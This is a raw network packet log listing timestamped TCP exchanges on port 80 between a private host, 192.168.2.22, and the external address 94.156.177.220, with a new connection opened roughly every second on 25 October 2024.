Oct 25, 2024 19:47:50.818392992 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:50.820036888 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:50.827730894 CEST	80	49194	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:50.827790022 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:50.835191965 CEST	80	49194	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:51.785788059 CEST	80	49194	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:51.785904884 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:51.791812897 CEST	80	49194	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:51.791980028 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:52.221878052 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:52.227963924 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:52.228032112 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:52.230597019 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:52.236640930 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:52.236705065 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:52.242429018 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:53.227410078 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:53.227499962 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:53.233321905 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:53.233381033 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:53.752342939 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:53.758011103 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:53.758096933 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:53.762804985 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:53.769835949 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:53.769907951 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:53.775454044 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:54.716540098 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:54.716651917 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:54.722744942 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:54.722834110 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:54.855005980 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:55.397681952 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:55.397779942 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:55.399470091 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:55.891625881 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:55.891681910 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:55.898550034 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:56.856168985 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:56.856270075 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:56.863914013 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:56.863970041 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:57.004328012 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:57.010133028 CEST	80	49198	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:57.010212898 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:57.011841059 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:57.017524004 CEST	80	49198	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:57.017577887 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:57.022937059 CEST	80	49198	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:57.981232882 CEST	80	49198	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:58.001492977 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:58.009578943 CEST	80	49198	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:58.009649992 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:58.134963036 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:58.140836954 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:58.140904903 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:58.142656088 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:58.148169041 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:58.148221970 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:58.153660059 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:59.097392082 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:59.097512960 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:59.103378057 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:59.103449106 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:59.223815918 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:59.229281902 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:59.229342937 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:59.230958939 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:59.236382008 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:59.236458063 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:59.241813898 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:00.216978073 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:00.217099905 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:00.223031998 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:00.223100901 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:00.451307058 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:00.457336903 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:00.457413912 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:00.459362030 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:00.465034962 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:00.465092897 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:00.470736980 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:01.693480015 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:01.711330891 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:01.843892097 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:01.930545092 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:01.930610895 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:01.930854082 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:01.930901051 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:01.932312965 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:01.932343960 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:01.932403088 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:01.934070110 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:01.939330101 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:01.939380884 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:01.944717884 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:02.893282890 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:02.893435955 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:02.899141073 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:02.899323940 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:03.131062031 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:03.136535883 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:03.136609077 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:03.138145924 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:03.143484116 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:03.143554926 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:03.149055958 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:04.115466118 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:04.117691040 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:04.123553038 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:04.123719931 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:04.734975100 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:05.034533024 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:05.034584999 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:05.036482096 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:05.042758942 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:05.042808056 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:05.048228025 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:06.018805981 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:06.018925905 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:06.025373936 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:06.025475979 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:06.179054022 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:06.184665918 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:06.184739113 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:06.186625957 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:06.193281889 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:06.193353891 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:06.199186087 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:07.177803040 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:07.180926085 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:07.188014984 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:07.188076019 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:07.326936007 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:07.332370043 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:07.332453966 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:07.334769964 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:07.340131044 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:07.340178967 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:07.345495939 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:08.669107914 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:08.669913054 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:08.669950962 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:08.669976950 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:08.669987917 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:08.671847105 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:08.680102110 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:09.115437984 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:09.120786905 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:09.120873928 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:09.123164892 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:09.129539013 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:09.129652977 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:09.135767937 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:10.268475056 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:10.268572092 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:10.269576073 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:10.269622087 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:10.274027109 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:10.435163021 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:10.441917896 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:10.441988945 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:10.443662882 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:10.449307919 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:10.449357033 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:10.454761028 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:11.421061993 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:11.421149969 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:11.426985025 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:11.427037001 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:11.561398029 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:11.567003012 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:11.567076921 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:11.569447041 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:11.574872971 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:11.574920893 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:11.580316067 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:12.553123951 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:12.553221941 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:12.559092045 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:12.559149027 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:12.689981937 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:12.695332050 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:12.695390940 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:12.697062016 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:12.702377081 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:12.702425957 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:12.707673073 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:13.654674053 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:13.654849052 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:13.663865089 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:13.663952112 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:13.801101923 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:13.806715965 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:13.806812048 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:13.809106112 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:13.818252087 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:13.818337917 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:13.826150894 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:14.801906109 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:14.802011967 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:14.808154106 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:14.808237076 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:14.977117062 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:14.983045101 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:14.983123064 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:14.984744072 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:14.990281105 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:14.990331888 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:14.996165991 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:15.954833031 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:15.954912901 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:15.960738897 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:15.960782051 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:16.098980904 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:16.104619026 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:16.104671001 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:16.106260061 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:16.113409042 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:16.113459110 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:16.119527102 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:17.113326073 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:17.113437891 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:17.120095015 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:17.120189905 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:17.262438059 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:17.267836094 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:17.267891884 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:17.269534111 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:17.275293112 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:17.275373936 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:17.281246901 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:18.230662107 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:18.230789900 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:18.236423969 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:18.236500978 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:18.362622976 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:18.368082047 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:18.368141890 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:18.369795084 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:18.375159025 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:18.375204086 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:18.380501032 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:19.339241028 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:19.339339972 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:19.345267057 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:19.345326900 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:19.471230984 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:20.406925917 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:20.406990051 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:20.408674002 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:20.414468050 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:20.414608002 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:20.419804096 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:21.515258074 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:21.515559912 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:21.521456003 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:21.521660089 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:21.648947001 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:21.654630899 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:21.654690027 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:21.656358004 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:21.661780119 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:21.661834955 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:21.667227030 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:22.612807035 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:22.612972021 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:22.619237900 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:22.619328976 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:22.751733065 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:22.757473946 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:22.757591009 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:22.759176970 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:22.764694929 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:22.764765978 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:22.770297050 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:23.747648001 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:23.747740984 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:23.753452063 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:23.753518105 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:23.887377977 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:23.893022060 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:23.893098116 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:23.894750118 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:23.900190115 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:23.900245905 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:23.905751944 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:25.267482042 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:25.267601967 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:25.267832041 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:25.267872095 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:25.267889977 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:25.267921925 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:25.274321079 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:25.453881025 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:25.460628033 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:25.460695028 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:25.462321997 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:25.468460083 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:25.468506098 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:25.473977089 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:26.475939989 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:26.476146936 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:26.482088089 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:26.482172966 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:26.622921944 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:26.628484964 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:26.628559113 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:26.630209923 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:26.635730028 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:26.635806084 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:26.641479969 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:27.601511955 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:27.601723909 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:27.607681036 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:27.607873917 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:27.747051954 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:27.752538919 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:27.752607107 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:27.754146099 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:27.759620905 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:27.759680986 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:27.765069962 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:28.904400110 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:28.904520988 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:28.904566050 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:28.904603004 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:28.904614925 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:28.904644012 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:28.910501957 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:29.098545074 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:29.508244038 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:29.508375883 CEST	49223	80	192.168.2.22	94.156.177.220
